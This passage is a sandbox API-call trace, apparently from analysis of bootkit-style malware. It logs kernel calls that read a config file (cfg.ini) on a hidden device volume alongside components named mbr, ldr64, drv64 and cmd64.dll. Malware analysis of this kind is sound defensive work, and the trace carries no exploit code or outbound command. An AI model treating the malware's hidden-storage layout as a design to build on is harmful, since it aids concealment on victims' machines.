0xfffffa8003aa6e20 [0122.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.244] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.244] IdePortDispatch () returned 0x103 [0122.244] KeWaitForMutexObject () returned 0x0 [0122.244] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.244] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.244] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.244] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.244] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.244] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.244] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.244] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.244] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.244] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.244] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.244] KeLeaveCriticalRegion () [0122.244] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.244] ReleaseMutex (hMutex=0x100) returned 1 [0122.244] Sleep (dwMilliseconds=0x2bf20) [0122.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c110fb0, dwHighDateTime=0x1d24fa4)) [0122.251] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.251] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.251] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.251] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.251] KeEnterCriticalRegion () [0122.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.251] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.251] IdePortDispatch () returned 0x103 [0122.251] KeWaitForMutexObject () returned 0x0 [0122.251] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.251] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.251] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.251] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.251] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.251] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4d00 [0122.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.252] KeLeaveCriticalRegion () [0122.252] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.252] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.252] KeEnterCriticalRegion () [0122.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.252] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.252] KeLeaveCriticalRegion () [0122.252] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.252] KeEnterCriticalRegion () [0122.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.252] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.252] IdePortDispatch () returned 0x103 [0122.252] KeWaitForMutexObject () returned 0x0 [0122.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.252] KeLeaveCriticalRegion () [0122.252] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.252] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.252] KeEnterCriticalRegion () [0122.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.252] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5a000 [0122.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.252] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.252] IdePortDispatch () returned 0x103 [0122.252] KeWaitForMutexObject () returned 0x0 [0122.253] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.253] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.253] IdePortDispatch () returned 0x103 [0122.253] KeWaitForMutexObject () returned 0x0 [0122.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.253] KeLeaveCriticalRegion () [0122.253] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.253] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.253] KeEnterCriticalRegion () [0122.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.253] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.253] KeLeaveCriticalRegion () [0122.253] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.254] KeEnterCriticalRegion () [0122.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.254] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.254] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.254] KeLeaveCriticalRegion () [0122.254] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.254] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.254] KeEnterCriticalRegion () [0122.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.254] ExFreePoolWithTag (P=0xfffffa8003be4d00, Tag=0x0) [0122.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.254] KeLeaveCriticalRegion () [0122.254] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.254] ReleaseMutex (hMutex=0xf0) returned 1 [0122.254] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.254] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.254] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.254] KeEnterCriticalRegion () [0122.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.254] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.254] IdePortDispatch () returned 0x103 [0122.254] KeWaitForMutexObject () returned 0x0 [0122.254] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.254] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.254] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.254] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.254] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.254] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3950 [0122.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.254] KeLeaveCriticalRegion () [0122.254] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.254] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.254] KeEnterCriticalRegion () [0122.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.255] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.255] KeLeaveCriticalRegion () [0122.255] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.255] KeEnterCriticalRegion () [0122.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.255] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.255] IdePortDispatch () returned 0x103 [0122.255] KeWaitForMutexObject () returned 0x0 [0122.255] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.255] KeLeaveCriticalRegion () [0122.255] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.255] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.255] KeEnterCriticalRegion () [0122.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.255] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5b000 [0122.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.255] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.255] IdePortDispatch () returned 0x103 [0122.255] KeWaitForMutexObject () returned 0x0 [0122.255] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.255] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.256] IdePortDispatch () returned 0x103 [0122.256] KeWaitForMutexObject () returned 0x0 [0122.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.256] KeLeaveCriticalRegion () [0122.256] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.256] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.256] KeEnterCriticalRegion () [0122.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.256] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.256] KeLeaveCriticalRegion () [0122.256] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.256] KeEnterCriticalRegion () [0122.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.256] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.256] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.256] KeLeaveCriticalRegion () [0122.257] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.257] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.257] KeEnterCriticalRegion () [0122.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.257] ExFreePoolWithTag (P=0xfffffa8003be3950, Tag=0x0) [0122.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.257] KeLeaveCriticalRegion () [0122.257] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.257] ReleaseMutex (hMutex=0xf0) returned 1 [0122.257] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.257] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.257] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.257] KeEnterCriticalRegion () [0122.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.257] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.257] IdePortDispatch () returned 0x103 [0122.257] KeWaitForMutexObject () returned 0x0 [0122.257] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.257] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.257] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.257] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.257] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.257] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be49a0 [0122.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.257] KeLeaveCriticalRegion () [0122.257] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.257] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.257] KeEnterCriticalRegion () [0122.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.257] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.257] KeLeaveCriticalRegion () [0122.258] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.258] KeEnterCriticalRegion () [0122.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.258] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.258] IdePortDispatch () returned 0x103 [0122.258] KeWaitForMutexObject () returned 0x0 [0122.258] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.258] KeLeaveCriticalRegion () [0122.258] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.258] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.258] KeEnterCriticalRegion () [0122.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.258] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5c000 [0122.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.258] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.258] IdePortDispatch () returned 0x103 [0122.258] KeWaitForMutexObject () returned 0x0 [0122.258] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.259] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.259] IdePortDispatch () returned 0x103 [0122.259] KeWaitForMutexObject () returned 0x0 [0122.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.259] KeLeaveCriticalRegion () [0122.259] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.259] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.259] KeEnterCriticalRegion () [0122.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.259] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.259] KeLeaveCriticalRegion () [0122.259] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.259] KeEnterCriticalRegion () [0122.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.259] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.260] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4a60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.260] KeLeaveCriticalRegion () [0122.260] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.260] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.260] KeEnterCriticalRegion () [0122.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.260] ExFreePoolWithTag (P=0xfffffa8003be49a0, Tag=0x0) [0122.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.260] KeLeaveCriticalRegion () [0122.260] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.260] ReleaseMutex (hMutex=0xf0) returned 1 [0122.260] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.260] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.260] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: 